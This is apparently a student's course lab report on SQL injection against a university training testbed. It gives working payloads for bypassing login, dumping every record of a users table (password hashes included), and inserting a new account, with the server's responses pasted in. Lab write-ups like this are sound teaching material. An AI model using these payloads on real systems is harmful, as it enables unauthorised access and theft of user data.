

Jace Kline 2881618

EECS 565 - Project 3 - SQL Injection Attacks

Background Information:

Database table: users

Table schema: (first, uname, passwd, profile)

The password field is hashed using the MySQL PASSWORD() function

Query template (produced by backend):

```
SELECT * FROM users WHERE uname='<input>' AND passwd=PASSWORD("")
```

Strategy and Observations:

There are many advantages that an attacker has in regards to attacking this particular testbed. First, the information given at the start allows us to initially know the database name, the database schema, and the fact that the passwords are hashed using the PASSWORD() function. Secondly, it becomes evident after attempting a request to the server that the returned webpage actually shows the user/attacker the exact SQL query that was performed by the backend. This allows an attacker to use the surrounding template query to their advantage when constructing a SQL injection attack.

A key strategy used in my attacks on the testbed server was to simply “ignore” the query part that checks the password by injecting a UNION statement. This allows the password part of the query (whose condition returns false) to be logically detached from the first section of the WHERE clause, where we can proceed to inject the conditions that we desire. Hence, the general format of my injections were as follows...

```
<desired query conditions> UNION SELECT * FROM users WHERE uname = ‘
```

Task 1: Impersonate (i.e. log in as) any user, without providing the password

<input> = <username>' UNION SELECT * FROM users WHERE uname = '

Example: if <username> = jacob, then...

<input> = jacob' UNION SELECT * FROM users WHERE uname = '

The SQL Injection Testbed



Login Successful!

I have retrieved your user information from my database.

First Name	Jacob	Username	jacob
Password	*E8BD367EA8A40D6C29EA94774FD4F6AD0A565F5C		
Introduction	This is Jacob. Nice to meet you!		

This is a SQLi test bed used for classes and training events at KU EECS/ITTC. Please do not post the link to the testbed anywhere on the Internet!

In a real-world system, the following information is NEVER displayed to the user.

User input received from login page:

Username: jacob' UNION SELECT * FROM users WHERE uname = '

Password:

Based on the user input, I created the following query:

SELECT * FROM users WHERE uname='jacob' UNION SELECT * FROM users WHERE uname = " AND passwd=PASSWORD("")

The above page was generated based on the query results.

Task 2: Impersonate any user without username and without password. Pretend that you only know the first name of the user.

`<input> = ' OR first = '<firstname>' UNION SELECT * FROM users WHERE uname = '`

Example: if `<firstname> = Jacob`, then...

`<input> = ' OR first = 'Jacob' UNION SELECT * FROM users WHERE uname = '`

The SQL Injection Testbed



Login Successful!

I have retrieved your user information from my database.

First Name	Jacob	Username	jacob
Password	*E8BD367EA8A40D6C29EA94774FD4F6AD0A565F5C		
Introduction	This is Jacob. Nice to meet you!		

This is a SQLi test bed used for classes and training events at KU EECS/ITTC. Please do not post the link to the testbed anywhere on the Internet!

In a real-world system, the following information is NEVER displayed to the user.

User input received from login page:

Username: ' OR first = 'Jacob' UNION SELECT * FROM users WHERE uname = '
Password:

Based on the user input, I created the following query:

SELECT * FROM users WHERE uname=" OR first = 'Jacob' UNION SELECT * FROM users WHERE uname = " AND passwd=PASSWORD("")

The above page was generated based on the query results.

Task 3: Steal all records in the table

<input> = ' OR 1 = 1 UNION SELECT * FROM users WHERE uname = '

The SQL Injection Testbed



Login Successful!

I have retrieved your user information from my database.

First Name	Jacob	Username	jacob
Password	*E8BD367EA8A40D6C29EA94774FD4F6AD0A565F5C		
Introduction	This is Jacob. Nice to meet you!		

First Name	Mason	Username	mason
Password	*ACBE449D5110993C7F47D5ADF18016299009FBCF		
Introduction	This is Mason. Nice to meet you!		

First Name	William	Username	william
Password	*045DF8058BC3F1A1649C117F6698EEC3F9921A24		
Introduction	This is William. Nice to meet you!		

First Name	Jayden	Username	jayden
Password	*513E0A38EDBDF782375C585C9BEC0F935352D5F		
Introduction	This is Jayden. Nice to meet you!		

First Name	Noah	Username	noah
Password	*5DDA55F92A5B519656DFE5CD799FB2C38CFA791D		
Introduction	This is Noah. Nice to meet you!		

First Name	Michael	Username	michael
Password	*DB1B792EC6DAE393BAE7AD832D3AF207C12E9A00		
Introduction	This is Michael. Nice to meet you!		

First Name	Ethan	Username	ethan
Password	*C2844DAEE70E99204BA9BD1212C92A2B601D84D2		
Introduction	This is Ethan. Nice to meet you!		

First Name	Alexander	Username	alexander
Password	*B5F5C0DFB8C20B91F8BDC2121133E5A116982C43		
Introduction	This is Alexander. Nice to meet you!		

First Name	Aiden	Username	aiden
Password	*B65ED55866842BEB7C51B0591761A9111BEDAC28		

Task 4: Insert a record, then ensure you can log in with that new record.

```
<input> = '; INSERT INTO users (first, uname, passwd, profile) VALUES ('Jace2',  
'jace-kline2', PASSWORD('password'), 'Hello there. I forgot to password hash my  
original record.');
```

```
SELECT * FROM users WHERE uname = '
```



The SQL Injection Testbed



Access Denied!

The combination of username/password is not found in the database. Please re-try.

This is a SQLi test bed used for classes and training events at KU EECS/ITTC. Please do not post the link to the testbed anywhere on the Internet!

In a real-world system, the following information is NEVER displayed to the user.

User input received from login page:

Username: '; INSERT INTO users (first, uname, passwd, profile) VALUES ('Jace2', 'jace-kline2', PASSWORD('password'), 'Hello there. I forgot to password hash my original record.');

Password: SELECT * FROM users WHERE uname = '

Based on the user input, I created the following query:

SELECT * FROM users WHERE uname="'; INSERT INTO users (first, uname, passwd, profile) VALUES ('Jace2', 'jace-kline2', PASSWORD('password'), 'Hello there. I forgot to password hash my original record.');

SELECT * FROM users WHERE uname = " AND passwd=PASSWORD(")

The above page was generated based on the query results.



The SQL Injection Testbed



Login Successful!

I have retrieved your user information from my database.

First Name	Jace2	Username	jace-kline2
Password	*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19		
Introduction	Hello there. I forgot to password hash my original record.		

This is a SQLi test bed used for classes and training events at KU EECS/ITTC. Please do not post the link to the testbed anywhere on the Internet!

In a real-world system, the following information is NEVER displayed to the user.

User input received from login page:

Username: jace-kline2
Password: password

Based on the user input, I created the following query:

SELECT * FROM users WHERE uname='jace-kline2' AND passwd=PASSWORD('password')

The above page was generated based on the query results.